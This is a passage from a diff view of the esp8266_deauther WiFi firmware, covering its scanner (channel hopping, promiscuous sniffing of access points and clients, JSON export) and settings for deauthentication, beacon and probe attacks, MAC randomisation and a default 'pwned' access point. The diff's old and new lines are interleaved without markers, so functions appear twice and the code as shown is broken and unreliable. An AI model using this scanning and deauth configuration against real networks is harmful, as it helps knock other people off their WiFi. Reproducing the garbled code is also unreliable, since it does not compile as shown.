start(SCAN_MODE_OFF);
}
void Scan::setChannel(uint8_t ch) {
if (ch > settings.getMaxCh()) ch = 1;
else if (ch < 1) ch = settings.getMaxCh();
if (ch > 14) ch = 1;
else if (ch < 1) ch = 14;
wifi_promiscuous_enable(0);
setWifiChannel(ch);
wifi_promiscuous_enable(1);
wifi_promiscuous_enable(0);
setWifiChannel(ch, true);
wifi_promiscuous_enable(1);
}
void Scan::nextChannel() {
if (accesspoints.count() > 1) {
uint8_t ch = wifi_channel;
do {
ch++;
if (ch > settings.getMaxCh()) ch = 1;
} while (!apWithChannel(ch));
setChannel(ch);
}
if (accesspoints.count() > 1) {
uint8_t ch = wifi_channel;
do {
ch++;
if (ch > 14) ch = 1;
} while (!apWithChannel(ch));
setChannel(ch);
}
}
bool Scan::apWithChannel(uint8_t ch) {
for (int i = 0; i < accesspoints.count(); i++)
if (accesspoints.getCh(i) == ch) return true;
return false;
for (int i = 0; i < accesspoints.count(); i++)
if (accesspoints.getCh(i) == ch) return true;
return false;
}
void Scan::save(bool force, String filePath){
String tmp = FILE_PATH;
FILE_PATH = filePath;
save(true);
FILE_PATH = tmp;
void Scan::save(bool force, String filePath) {
String tmp = FILE_PATH;
FILE_PATH = filePath;
save(true);
FILE_PATH = tmp;
}
void Scan::save(bool force) {
if(!(accesspoints.changed || stations.changed) && !force) return;
// Accesspoints
String buf = String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SC_JSON_APS) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) + String(OPEN_BRACKET); // {"aps":[
if(!writeFile(FILE_PATH, buf)) { // overwrite old file
prnt(F_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
buf = String(); // clear buffer
uint32_t apCount = accesspoints.count();
for (uint32_t i = 0; i < apCount; i++) {
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + escape(accesspoints.getSSID(i)) + String(DOUBLEQUOTES) + String(COMMA); // ["ssid",
buf += String(DOUBLEQUOTES) + escape(accesspoints.getNameStr(i)) + String(DOUBLEQUOTES) + String(COMMA); // "name",
buf += String(accesspoints.getCh(i)) + String(COMMA); // 1,
buf += String(accesspoints.getRSSI(i)) + String(COMMA); // -30,
buf += String(DOUBLEQUOTES) + accesspoints.getEncStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "wpa2",
buf += String(DOUBLEQUOTES) + accesspoints.getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22",
buf += String(DOUBLEQUOTES) + accesspoints.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
buf += b2s(accesspoints.getSelected(i)) + String(CLOSE_BRACKET); // false]
if(i < apCount - 1) buf += String(COMMA); // ,
if (!(accesspoints.changed || stations.changed) && !force) return;
if(buf.length() >= 1024){
if(!appendFile(FILE_PATH, buf)) {
// Accesspoints
String buf = String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SC_JSON_APS) + String(DOUBLEQUOTES) + String(
DOUBLEPOINT) + String(OPEN_BRACKET); // {"aps":[
if (!writeFile(FILE_PATH, buf)) { // overwrite old file
prnt(F_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
buf = String(); // clear buffer
}
}
// Stations
buf += String(CLOSE_BRACKET) + String(COMMA) + String(DOUBLEQUOTES) + str(SC_JSON_STATIONS) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) + String(OPEN_BRACKET); // ],"stations":[;
uint32_t stationCount = stations.count();
for (uint32_t i = 0; i < stationCount; i++) {
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + stations.getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // ["00:11:22:00:11:22",
buf += String(stations.getCh(i)) + String(COMMA); // 1,
buf += String(DOUBLEQUOTES) + stations.getNameStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "name",
buf += String(DOUBLEQUOTES) + stations.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
buf += String(*stations.getPkts(i)) + String(COMMA); // 123,
buf += String(stations.getAP(i)) + String(COMMA); // 0,
buf += String(DOUBLEQUOTES) + stations.getTimeStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "<1min",
buf += b2s(stations.getSelected(i)) + String(CLOSE_BRACKET); // false]
if(i < stationCount - 1) buf += String(COMMA); // ,
buf = String(); // clear buffer
uint32_t apCount = accesspoints.count();
if(buf.length() >= 1024){
if(!appendFile(FILE_PATH, buf)) {
for (uint32_t i = 0; i < apCount; i++) {
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + escape(accesspoints.getSSID(i)) + String(DOUBLEQUOTES) +
String(COMMA); // ["ssid",
buf += String(DOUBLEQUOTES) + escape(accesspoints.getNameStr(i)) + String(DOUBLEQUOTES) + String(COMMA); // "name",
buf += String(accesspoints.getCh(i)) + String(COMMA); // 1,
buf += String(accesspoints.getRSSI(i)) + String(COMMA); // -30,
buf += String(DOUBLEQUOTES) + accesspoints.getEncStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "wpa2",
buf += String(DOUBLEQUOTES) + accesspoints.getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22",
buf += String(DOUBLEQUOTES) + accesspoints.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
buf += b2s(accesspoints.getSelected(i)) + String(CLOSE_BRACKET); // false]
if (i < apCount - 1) buf += String(COMMA); // ,
if (buf.length() >= 1024) {
if (!appendFile(FILE_PATH, buf)) {
prnt(F_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
buf = String(); // clear buffer
}
}
// Stations
buf += String(CLOSE_BRACKET) + String(COMMA) + String(DOUBLEQUOTES) + str(SC_JSON_STATIONS) + String(DOUBLEQUOTES) +
String(DOUBLEPOINT) + String(OPEN_BRACKET); // ],"stations":[;
uint32_t stationCount = stations.count();
for (uint32_t i = 0; i < stationCount; i++) {
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + stations.getMacStr(i) + String(DOUBLEQUOTES) +
String(COMMA); // ["00:11:22:00:11:22",
buf += String(stations.getCh(i)) + String(COMMA); // 1,
buf += String(DOUBLEQUOTES) + stations.getNameStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "name",
buf += String(DOUBLEQUOTES) + stations.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
buf += String(*stations.getPkts(i)) + String(COMMA); // 123,
buf += String(stations.getAP(i)) + String(COMMA); // 0,
buf += String(DOUBLEQUOTES) + stations.getTimeStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "<1min",
buf += b2s(stations.getSelected(i)) + String(CLOSE_BRACKET); // false]
if (i < stationCount - 1) buf += String(COMMA); // ,
if (buf.length() >= 1024) {
if (!appendFile(FILE_PATH, buf)) {
prnt(F_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
buf = String(); // clear buffer
}
}
buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]}
if (!appendFile(FILE_PATH, buf)) {
prnt(F_ERROR_SAVING);
prntln(FILE_PATH);
return;
}
buf = String(); // clear buffer
}
}
buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]}
if(!appendFile(FILE_PATH, buf)) {
prnt(F_ERROR_SAVING);
accesspoints.changed = false;
stations.changed = false;
prnt(SC_SAVED_IN);
prntln(FILE_PATH);
return;
}
accesspoints.changed = false;
stations.changed = false;
prnt(SC_SAVED_IN);
prntln(FILE_PATH);
}
uint32_t Scan::countSelected() {
return (accesspoints.selected() + stations.selected() + names.selected());
return accesspoints.selected() + stations.selected() + names.selected();
}
uint32_t Scan::countAll() {
return (accesspoints.count() + stations.count() + names.count());
return accesspoints.count() + stations.count() + names.count();
}
bool Scan::isScanning() {
return scanMode != SCAN_MODE_OFF;
return scanMode != SCAN_MODE_OFF;
}
bool Scan::isSniffing() {
return scanMode == SCAN_MODE_STATIONS || scanMode == SCAN_MODE_SNIFFER;
return scanMode == SCAN_MODE_STATIONS || scanMode == SCAN_MODE_SNIFFER;
}
uint8_t Scan::getPercentage(){
if(!isSniffing()) return 0;
return (currentTime - snifferStartTime) / (sniffTime / 100);
uint8_t Scan::getPercentage() {
if (!isSniffing()) return 0;
return (currentTime - snifferStartTime) / (sniffTime / 100);
}
void Scan::selectAll() {
accesspoints.selectAll();
stations.selectAll();
names.selectAll();
accesspoints.selectAll();
stations.selectAll();
names.selectAll();
}
void Scan::deselectAll() {
accesspoints.deselectAll();
stations.deselectAll();
names.deselectAll();
accesspoints.deselectAll();
stations.deselectAll();
names.deselectAll();
}
void Scan::printAll() {
accesspoints.printAll();
stations.printAll();
names.printAll();
ssids.printAll();
accesspoints.printAll();
stations.printAll();
names.printAll();
ssids.printAll();
}
void Scan::printSelected() {
accesspoints.printSelected();
stations.printSelected();
names.printSelected();
accesspoints.printSelected();
stations.printSelected();
names.printSelected();
}
uint32_t Scan::getPackets(int i){
if(list->size() < SCAN_PACKET_LIST_SIZE){
uint8_t translatedNum = SCAN_PACKET_LIST_SIZE - list->size();
if(i >= translatedNum) return list->get(i-translatedNum);
return 0;
} else {
return list->get(i);
}
uint32_t Scan::getPackets(int i) {
if (list->size() < SCAN_PACKET_LIST_SIZE) {
uint8_t translatedNum = SCAN_PACKET_LIST_SIZE - list->size();
if (i >= translatedNum) return list->get(i - translatedNum);
return 0;
} else {
return list->get(i);
}
}
double Scan::getScaleFactor(uint8_t height){
return (double)height/(double)getMaxPacket();
String Scan::getMode() {
switch (scanMode) {
case SCAN_MODE_OFF:
return str(SC_MODE_OFF);
case SCAN_MODE_APS:
return str(SC_MODE_AP);
case SCAN_MODE_STATIONS:
return str(SC_MODE_ST);
case SCAN_MODE_ALL:
return str(SC_MODE_ALL);
case SCAN_MODE_SNIFFER:
return str(SC_MODE_SNIFFER);
default:
return String();
}
}
uint32_t Scan::getMaxPacket(){
uint16_t max = 0;
for(uint8_t i=0;i<list->size();i++){
if(list->get(i) > max) max = list->get(i);
}
return max;
double Scan::getScaleFactor(uint8_t height) {
return (double)height / (double)getMaxPacket();
}
uint32_t Scan::getPacketRate(){
return list->get(list->size()-1);
uint32_t Scan::getMaxPacket() {
uint16_t max = 0;
for (uint8_t i = 0; i < list->size(); i++) {
if (list->get(i) > max) max = list->get(i);
}
return max;
}
uint32_t Scan::getPacketRate() {
return list->get(list->size() - 1);
}

View File

@ -1,12 +1,12 @@
#ifndef Scan_h
#define Scan_h
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#pragma once
#include "Arduino.h"
#include "Accesspoints.h"
#include "Stations.h"
#include "Names.h"
#include "SSIDs.h"
#include "Settings.h"
#include "language.h"
#include "SimpleList.h"
@ -20,80 +20,75 @@
#define SCAN_PACKET_LIST_SIZE 64
extern Accesspoints accesspoints;
extern Stations stations;
extern Stations stations;
extern Names names;
extern SSIDs ssids;
extern Settings settings;
extern uint8_t wifiMode;
extern void setWifiChannel(uint8_t ch);
extern bool appendFile(String path, String &buf);
extern bool writeFile(String path, String &buf);
extern void setWifiChannel(uint8_t ch, bool force);
extern bool appendFile(String path, String& buf);
extern bool writeFile(String path, String& buf);
extern void readFileToSerial(const String path);
extern void resumeAP();
extern void stopAP();
extern String escape(String str);
class Scan {
public:
Scan();
public:
Scan();
void sniffer(uint8_t* buf, uint16_t len);
void start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop, uint8_t channel);
void start(uint8_t mode);
void sniffer(uint8_t* buf, uint16_t len);
void start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop, uint8_t channel);
void start(uint8_t mode);
void setup();
void update();
void stop();
void save(bool force);
void save(bool force, String filePath);
void selectAll();
void deselectAll();
void printAll();
void printSelected();
void setup();
void update();
void stop();
void save(bool force);
void save(bool force, String filePath);
uint8_t getPercentage();
uint32_t getPackets(int i);
uint32_t countAll();
uint32_t countSelected();
bool isScanning();
bool isSniffing();
void selectAll();
void deselectAll();
void printAll();
void printSelected();
void nextChannel();
void setChannel(uint8_t newChannel);
double getScaleFactor(uint8_t height);
uint32_t getMaxPacket();
uint32_t getPacketRate();
uint16_t deauths = 0;
uint16_t packets = 0;
private:
SimpleList<uint16_t>* list; // packet list
uint32_t sniffTime = SCAN_DEFAULT_TIME; // how long the scan runs
uint32_t snifferStartTime = 0; // when the scan started
uint32_t snifferOutputTime = 0; // last info output (every 3s)
uint32_t snifferChannelTime = 0; // last time the channel was changed
uint32_t snifferPacketTime = 0; // last time the packet rate was reseted (every 1s)
uint8_t getPercentage();
uint32_t getPackets(int i);
uint32_t countAll();
uint32_t countSelected();
bool isScanning();
bool isSniffing();
uint8_t scanMode = 0;
uint8_t scan_continue_mode = 0; // restart mode after scan stopped
uint32_t continueTime = SCAN_DEFAULT_CONTINUE_TIME; // time in ms to wait until scan restarts
uint32_t continueStartTime = 0; // when scan restarted
bool channelHop = true;
uint16_t tmpDeauths = 0;
bool apWithChannel(uint8_t ch);
int findAccesspoint(uint8_t* mac);
void nextChannel();
void setChannel(uint8_t newChannel);
String FILE_PATH = "/scan.json";
};
String getMode();
double getScaleFactor(uint8_t height);
uint32_t getMaxPacket();
uint32_t getPacketRate();
#endif
uint16_t deauths = 0;
uint16_t packets = 0;
private:
SimpleList<uint16_t>* list; // packet list
uint32_t sniffTime = SCAN_DEFAULT_TIME; // how long the scan runs
uint32_t snifferStartTime = 0; // when the scan started
uint32_t snifferOutputTime = 0; // last info output (every 3s)
uint32_t snifferChannelTime = 0; // last time the channel was changed
uint32_t snifferPacketTime = 0; // last time the packet rate was reseted (every 1s)
uint8_t scanMode = 0;
uint8_t scan_continue_mode = 0; // restart mode after scan stopped
uint32_t continueTime = SCAN_DEFAULT_CONTINUE_TIME; // time in ms to wait until scan restarts
uint32_t continueStartTime = 0; // when scan restarted
bool channelHop = true;
uint16_t tmpDeauths = 0;
bool apWithChannel(uint8_t ch);
int findAccesspoint(uint8_t* mac);
String FILE_PATH = "/scan.json";
};

File diff suppressed because it is too large Load Diff

View File

@ -1,100 +0,0 @@
#ifndef SerialInterface_h
#define SerialInterface_h
#include "Arduino.h"
#include <ESP8266WiFi.h>
#include <FS.h>
extern "C" {
#include "user_interface.h"
}
#include "language.h"
#include "A_config.h"
#include "SimpleList.h"
#include "Settings.h"
#include "Names.h"
#include "SSIDs.h"
#include "Scan.h"
#include "Attack.h"
#include "DisplayUI.h"
#include "DigitalLed.h"
#include "RGBLed.h"
#include "Neopixel.h"
#ifdef DIGITAL_LED
extern DigitalLed led;
#endif
#ifdef RGB_LED
extern RGBLed led;
#endif
#ifdef NEOPIXEL_LED
extern Neopixel led;
#endif
extern Settings settings;
extern Names names;
extern SSIDs ssids;
extern Accesspoints accesspoints;
extern Stations stations;
extern Scan scan;
extern Attack attack;
extern DisplayUI displayUI;
extern uint32_t currentTime;
extern uint32_t autosaveTime;
extern String macToStr(uint8_t* mac);
extern void strToColor(String str, uint8_t* buf);
extern void readFileToSerial(String path, bool showLineNum);
extern bool removeFile(String path);
extern bool copyFile(String pathFrom, String pathTo);
extern bool renameFile(String pathFrom, String pathTo);
extern bool appendFile(String path, String &buf);
extern bool removeLines(String path, int lineFrom, int lineTo);
extern bool replaceLine(String path, int line, String &buf);
extern bool equalsKeyword(const char* str, const char* keyword);
extern void printWifiStatus();
extern void startAP(String path, String ssid, String password, uint8_t ch, bool hidden, bool captivePortal);
extern void wifiUpdate();
class SerialInterface {
public:
SerialInterface();
void enable();
void load();
void load(String filepath);
void disable();
void update();
void stopScript();
void runCommands(String input);
void runCommand(String input);
void error(String message);
void parameterError(String parameter);
private:
bool enabled;
SimpleList<String>* list;
bool executing = false;
bool continuously = false;
uint32_t continueTime = 0;
uint32_t loopTime = 0;
String execPath = "/autostart.txt";
struct Keyword{
const char* name;
const char* shortName;
const char* alt;
};
bool isInt(String str);
int toInt(String str);
uint32_t getTime(String time);
bool eqlsCMD(int i, const char* keyword);
};
#endif

View File

@ -1,602 +0,0 @@
#include "Settings.h"
Settings::Settings() {
macSt = (uint8_t*)malloc(6);
macAP = (uint8_t*)malloc(6);
}
void Settings::load() {
DynamicJsonBuffer jsonBuffer(4000);
// check & read file
String json = getJsonStr();
checkFile(FILE_PATH, json);
JsonObject &data = parseJSONFile(FILE_PATH, jsonBuffer);
// VERSION
version = data.get<String>("version");
// AP
if(data.containsKey(keyword(S_SSID))) setSSID(data.get<String>(keyword(S_SSID)));
if(data.containsKey(keyword(S_PASSWORD))) setPassword(data.get<String>(keyword(S_PASSWORD)));
if(data.containsKey(keyword(S_CHANNEL))) setChannel(data.get<uint8_t>(keyword(S_CHANNEL)));
if(data.containsKey(keyword(S_HIDDEN))) setHidden(data.get<bool>(keyword(S_HIDDEN)));
if(data.containsKey(keyword(S_CAPTIVEPORTAL))) setCaptivePortal(data.get<bool>(keyword(S_CAPTIVEPORTAL)));
// GENERAL
if(data.containsKey(keyword(S_LANG))) setLang(data.get<String>(keyword(S_LANG)));
if(data.containsKey(keyword(S_DISPLAYINTERFACE))) setDisplayInterface(data.get<bool>(keyword(S_DISPLAYINTERFACE)));
if(data.containsKey(keyword(S_DISPLAY_TIMEOUT))) setDisplayTimeout(data.get<uint32_t>(keyword(S_DISPLAY_TIMEOUT)));
if(data.containsKey(keyword(S_SERIALINTERFACE))) setSerialInterface(data.get<bool>(keyword(S_SERIALINTERFACE)));
if(data.containsKey(keyword(S_SERIAL_ECHO))) setSerialEcho(data.get<bool>(keyword(S_SERIAL_ECHO)));
if(data.containsKey(keyword(S_WEBINTERFACE))) setWebInterface(data.get<bool>(keyword(S_WEBINTERFACE)));
if(data.containsKey(keyword(S_WEB_SPIFFS))) setWebSpiffs(data.get<bool>(keyword(S_WEB_SPIFFS)));
if(data.containsKey(keyword(S_LEDENABLED))) setLedEnabled(data.get<bool>(keyword(S_LEDENABLED)));
if(data.containsKey(keyword(S_MAXCH))) setMaxCh(data.get<uint8_t>(keyword(S_MAXCH)));
if(data.containsKey(keyword(S_MACAP))) setMacAP(data.get<String>(keyword(S_MACAP)));
if(data.containsKey(keyword(S_MACST))) setMacSt(data.get<String>(keyword(S_MACST)));
// SCAN
if(data.containsKey(keyword(S_CHTIME))) setChTime(data.get<uint16_t>(keyword(S_CHTIME)));
if(data.containsKey(keyword(S_MIN_DEAUTHS))) setMinDeauths(data.get<uint16_t>(keyword(S_MIN_DEAUTHS)));
// ATTACK
if(data.containsKey(keyword(S_ATTACKTIMEOUT))) setAttackTimeout(data.get<uint32_t>(keyword(S_ATTACKTIMEOUT)));
if(data.containsKey(keyword(S_FORCEPACKETS))) setForcePackets(data.get<uint8_t>(keyword(S_FORCEPACKETS)));
if(data.containsKey(keyword(S_DEAUTHSPERTARGET))) setDeauthsPerTarget(data.get<uint16_t>(keyword(S_DEAUTHSPERTARGET)));
if(data.containsKey(keyword(S_DEAUTHREASON))) setDeauthReason(data.get<uint8_t>(keyword(S_DEAUTHREASON)));
if(data.containsKey(keyword(S_BEACONCHANNEL))) setBeaconChannel(data.get<bool>(keyword(S_BEACONCHANNEL)));
if(data.containsKey(keyword(S_BEACONINTERVAL))) setBeaconInterval(data.get<bool>(keyword(S_BEACONINTERVAL)));
if(data.containsKey(keyword(S_RANDOMTX))) setRandomTX(data.get<bool>(keyword(S_RANDOMTX)));
if(data.containsKey(keyword(S_PROBESPERSSID))) setProbesPerSSID(data.get<uint8_t>(keyword(S_PROBESPERSSID)));
if (version != VERSION){
//reset();
copyWebFiles(true);
version = VERSION;
changed = true;
}
prnt(S_SETTINGS_LOADED);
prntln(FILE_PATH);
save(true); // force saving
}
void Settings::load(String filepath){
String tmp = FILE_PATH;
FILE_PATH = filepath;
load();
FILE_PATH = tmp;
}
void Settings::reset() {
// VERSION
version = VERSION;
// AP
setSSID("pwned");
setPassword("deauther");
setChannel(1);
setHidden(false);
setCaptivePortal(true);
// GENERAL
setLang("en");
setAutosave(true);
setAutosaveTime(10000);
setDisplayInterface(USE_DISPLAY);
setDisplayTimeout(600);
setSerialInterface(true);
setSerialEcho(true);
setWebInterface(true);
setWebSpiffs(false);
setLedEnabled(true);
setMaxCh(14);
wifi_get_macaddr(STATION_IF, macSt);
wifi_get_macaddr(SOFTAP_IF, macAP);
// SCAN
setChTime(384);
setMinDeauths(3);
// ATTACK
setAttackTimeout(600);
setForcePackets(3);
setDeauthsPerTarget(20);
setDeauthReason(1);
setBeaconChannel(false);
setBeaconInterval(false);
setRandomTX(false);
setProbesPerSSID(1);
prntln(S_SETTINGS_RESETED);
}
String Settings::getJsonStr() {
DynamicJsonBuffer jsonBuffer(4000);
JsonObject &data = jsonBuffer.createObject();
// Version
data.set("version", VERSION);
// AP
data.set(keyword(S_SSID), ssid);
data.set(keyword(S_PASSWORD), password);
data.set(keyword(S_CHANNEL), channel);
data.set(keyword(S_HIDDEN), hidden);
data.set(keyword(S_CAPTIVEPORTAL), captivePortal);
// GENERAL
data.set(keyword(S_LANG), lang);
data.set(keyword(S_AUTOSAVE), autosave);
data.set(keyword(S_AUTOSAVETIME), autosaveTime);
data.set(keyword(S_DISPLAYINTERFACE), displayInterface);
data.set(keyword(S_DISPLAY_TIMEOUT), displayTimeout);
data.set(keyword(S_SERIALINTERFACE), serialInterface);
data.set(keyword(S_SERIAL_ECHO), serialEcho);
data.set(keyword(S_WEBINTERFACE), webInterface);
data.set(keyword(S_WEB_SPIFFS), webSpiffs);
data.set(keyword(S_LEDENABLED), ledEnabled);
data.set(keyword(S_MAXCH), maxCh);
data.set(keyword(S_MACAP), macToStr(getMacAP()));
data.set(keyword(S_MACST), macToStr(getMacSt()));
// SCAN
data.set(keyword(S_CHTIME), chTime);
data.set(keyword(S_MIN_DEAUTHS), minDeauths);
// ATTACK
data.set(keyword(S_ATTACKTIMEOUT), attackTimeout);
data.set(keyword(S_FORCEPACKETS), forcePackets);
data.set(keyword(S_DEAUTHSPERTARGET), deauthsPerTarget);
data.set(keyword(S_DEAUTHREASON), deauthReason);
data.set(keyword(S_BEACONCHANNEL), beaconChannel);
data.set(keyword(S_BEACONINTERVAL), beaconInterval);
data.set(keyword(S_RANDOMTX), randomTX);
data.set(keyword(S_PROBESPERSSID), probesPerSSID);
String buf;
data.printTo(buf);
return buf;
}
void Settings::save(bool force) {
if (force || changed) {
String buf = getJsonStr();
if(writeFile(FILE_PATH, buf)){
prnt(S_SETTINGS_SAVED);
prntln(FILE_PATH);
changed = false;
}else{
prnt(F("ERROR: saving "));
prntln(FILE_PATH);
}
}
}
void Settings::save(bool force, String filepath) {
String tmp = FILE_PATH;
FILE_PATH = filepath;
save(force);
FILE_PATH = tmp;
}
void Settings::print() {
String settingsJson = getJsonStr();
settingsJson.replace("{", "{\r\n");
settingsJson.replace("}", "\r\n}");
settingsJson.replace(",", "\r\n");
prntln(S_SETTINGS_HEADER);
prntln(settingsJson);
}
void Settings::set(const char* str, String value) {
// booleans
if (eqls(str, S_BEACONCHANNEL)) setBeaconChannel(s2b(value));
else if (eqls(str, S_AUTOSAVE)) setAutosave(s2b(value));
else if (eqls(str, S_BEACONINTERVAL)) setBeaconInterval(s2b(value));
else if (eqls(str, S_SERIALINTERFACE)) setSerialInterface(s2b(value));
else if (eqls(str, S_DISPLAYINTERFACE)) setDisplayInterface(s2b(value));
else if (eqls(str, S_WEBINTERFACE)) setWebInterface(s2b(value));
else if (eqls(str, S_RANDOMTX)) setRandomTX(s2b(value));
else if (eqls(str, S_LEDENABLED)) setLedEnabled(s2b(value));
else if (eqls(str, S_HIDDEN)) setHidden(s2b(value));
else if (eqls(str, S_CAPTIVEPORTAL)) setCaptivePortal(s2b(value));
else if (eqls(str, S_SERIAL_ECHO)) setSerialEcho(s2b(value));
else if (eqls(str, S_WEB_SPIFFS)) setWebSpiffs(s2b(value));
// integer
else if (eqls(str, S_FORCEPACKETS)) setForcePackets(value.toInt());
else if (eqls(str, S_AUTOSAVETIME)) setAutosaveTime(value.toInt());
else if (eqls(str, S_DEAUTHSPERTARGET)) setDeauthsPerTarget(value.toInt());
else if (eqls(str, S_CHTIME)) setChTime(value.toInt());
else if (eqls(str, S_MAXCH)) setMaxCh(value.toInt());
else if (eqls(str, S_CHANNEL)) setChannel(value.toInt());
else if (eqls(str, S_DEAUTHREASON)) setDeauthReason(value.toInt());
else if (eqls(str, S_ATTACKTIMEOUT)) setAttackTimeout(value.toInt());
else if (eqls(str, S_PROBESPERSSID)) setProbesPerSSID(value.toInt());
else if (eqls(str, S_MIN_DEAUTHS)) setMinDeauths(value.toInt());
else if (eqls(str, S_DISPLAY_TIMEOUT)) setDisplayTimeout(value.toInt());
// strings
else if (eqls(str, S_LANG)) setLang(value);
else if (eqls(str, S_SSID)) setSSID(value);
else if (eqls(str, S_PASSWORD)) setPassword(value);
else if (eqls(str, S_MACAP)) setMacAP(value);
else if (eqls(str, S_MACST)) setMacSt(value);
else if (eqls(str, S_MAC) && value.equalsIgnoreCase("random")){
setMacSt(value);
setMacAP(value);
}
else if (eqls(str, S_VERSION)) prntln(S_ERROR_VERSION);
else {
prnt(S_ERROR_NOT_FOUND);
prntln(str);
return;
}
prnt(S_CHANGED_SETTING);
prntln(str);
}
String Settings::get(const char* str) {
if (eqls(str, S_SETTINGS)) print();
// booleans
else if (eqls(str, S_BEACONCHANNEL)) return b2s(beaconChannel);
else if (eqls(str, S_AUTOSAVE)) return b2s(autosave);
else if (eqls(str, S_BEACONINTERVAL)) return b2s(beaconInterval);
else if (eqls(str, S_SERIALINTERFACE)) return b2s(serialInterface);
else if (eqls(str, S_DISPLAYINTERFACE)) return b2s(displayInterface);
else if (eqls(str, S_WEBINTERFACE)) return b2s(webInterface);
else if (eqls(str, S_RANDOMTX)) return b2s(randomTX);
else if (eqls(str, S_LEDENABLED)) return b2s(ledEnabled);
else if (eqls(str, S_HIDDEN)) return b2s(hidden);
else if (eqls(str, S_CAPTIVEPORTAL)) return b2s(captivePortal);
else if (eqls(str, S_SERIAL_ECHO)) return b2s(serialEcho);
else if (eqls(str, S_WEB_SPIFFS)) return b2s(webSpiffs);
// integer
else if (eqls(str, S_FORCEPACKETS)) return (String)forcePackets;
else if (eqls(str, S_AUTOSAVETIME)) return (String)autosaveTime;
else if (eqls(str, S_DEAUTHSPERTARGET)) return (String)deauthsPerTarget;
else if (eqls(str, S_CHTIME)) return (String)chTime;
else if (eqls(str, S_ATTACKTIMEOUT)) return (String)attackTimeout;
else if (eqls(str, S_MAXCH)) return (String)maxCh;
else if (eqls(str, S_CHANNEL)) return (String)channel;
else if (eqls(str, S_DEAUTHREASON)) return (String)deauthReason;
else if (eqls(str, S_PROBESPERSSID)) return (String)probesPerSSID;
else if (eqls(str, S_MIN_DEAUTHS)) return (String)minDeauths;
else if (eqls(str, S_DISPLAY_TIMEOUT)) return (String)displayTimeout;
// strings
else if (eqls(str, S_SSID)) return ssid;
else if (eqls(str, S_LANG)) return lang;
else if (eqls(str, S_PASSWORD)) return password;
else if (eqls(str, S_MACAP)) return macToStr(getMacAP());
else if (eqls(str, S_MACST)) return macToStr(getMacSt());
else if (eqls(str, S_MAC)) return "AP: " + macToStr(macAP) + ", Station: " + macToStr(macSt);
else if (eqls(str, S_VERSION)) return version;
else {
prnt(S_ERROR_NOT_FOUND);
prntln(str);
}
return "";
}
// ===== GETTERS ===== //
String Settings::getVersion() {
return version;
}
uint16_t Settings::getDeauthsPerTarget() {
return deauthsPerTarget;
}
uint8_t Settings::getDeauthReason() {
return deauthReason;
}
bool Settings::getBeaconChannel() {
return beaconChannel;
}
uint8_t Settings::getForcePackets() {
return forcePackets;
}
bool Settings::getAutosave() {
return autosave;
}
uint32_t Settings::getAutosaveTime() {
return autosaveTime;
}
uint8_t Settings::getMaxCh() {
return maxCh;
}
bool Settings::getBeaconInterval() {
return beaconInterval;
}
uint8_t Settings::getChannel() {
return channel;
}
String Settings::getSSID() {
return ssid;
}
String Settings::getPassword() {
return password;
}
bool Settings::getSerialInterface() {
return serialInterface;
}
bool Settings::getDisplayInterface() {
return displayInterface;
}
bool Settings::getWebInterface() {
return webInterface;
}
uint16_t Settings::getChTime() {
return chTime;
}
uint8_t* Settings::getMacSt() {
return macSt;
}
uint8_t* Settings::getMacAP() {
return macAP;
}
bool Settings::getRandomTX() {
return randomTX;
}
uint32_t Settings::getAttackTimeout() {
return attackTimeout;
}
bool Settings::getLedEnabled() {
return ledEnabled;
}
uint8_t Settings::getProbesPerSSID() {
return probesPerSSID;
}
bool Settings::getHidden() {
return hidden;
}
bool Settings::getCaptivePortal() {
return captivePortal;
}
uint16_t Settings::getMinDeauths(){
return minDeauths;
}
uint32_t Settings::getDisplayTimeout(){
return displayTimeout;
}
String Settings::getLang(){
return lang;
}
bool Settings::getSerialEcho(){
return serialEcho;
}
bool Settings::getWebSpiffs(){
return webSpiffs;
}
// ===== SETTERS ===== //
void Settings::setDeauthsPerTarget(uint16_t deauthsPerTarget) {
Settings::deauthsPerTarget = deauthsPerTarget;
changed = true;
}
void Settings::setDeauthReason(uint8_t deauthReason) {
Settings::deauthReason = deauthReason;
changed = true;
}
void Settings::setBeaconChannel(bool beaconChannel) {
Settings::beaconChannel = beaconChannel;
changed = true;
}
void Settings::setForcePackets(uint8_t forcePackets) {
if(forcePackets > 0){
Settings::forcePackets = forcePackets;
changed = true;
}
}
void Settings::setAutosave(bool autosave) {
Settings::autosave = autosave;
changed = true;
}
void Settings::setAutosaveTime(uint32_t autosaveTime) {
Settings::autosaveTime = autosaveTime;
changed = true;
}
void Settings::setMaxCh(uint8_t maxCh) {
Settings::maxCh = maxCh;
changed = true;
}
void Settings::setBeaconInterval(bool beaconInterval) {
Settings::beaconInterval = beaconInterval;
changed = true;
}
